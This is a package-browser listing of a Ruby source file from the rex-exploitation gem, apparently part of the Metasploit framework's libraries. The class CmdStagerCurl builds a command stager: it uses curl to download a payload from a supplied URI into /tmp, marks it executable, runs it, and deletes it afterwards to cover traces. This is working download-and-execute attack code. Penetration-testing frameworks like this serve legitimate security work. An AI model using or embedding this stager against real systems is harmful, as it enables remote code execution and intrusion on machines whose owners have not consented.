Sha256: cea8fb0b04c8303b8da71c8c66a61143e0383206347633c6071158c05100cc91

Contents?: true

Size: 621 Bytes

Versions: 1

Compression:

Stored size: 621 Bytes

Contents

# -*- coding: binary -*-

class Rex::Exploitation::CmdStagerCurl < Rex::Exploitation::CmdStagerBase

  def http?
    true
  end

  def compress_commands(cmds, opts)
    if opts[:payload_uri].nil?
      raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
    end

    opts[:temp] ||= '/tmp'
    payload_file  = opts[:payload_uri].split('/').last
    payload_path  = opts[:temp] + '/' + payload_file

    cmds << "curl -ko #{payload_path} #{opts[:payload_uri]}"
    cmds << "chmod +x #{payload_path}"
    cmds << payload_path
    cmds << "rm -f #{payload_path}" unless opts[:nodelete]

    super
  end

end

Version data entries

1 entries across 1 versions & 1 rubygems

Version Path
rex-exploitation-0.1.6 lib/rex/exploitation/cmdstager/curl.rb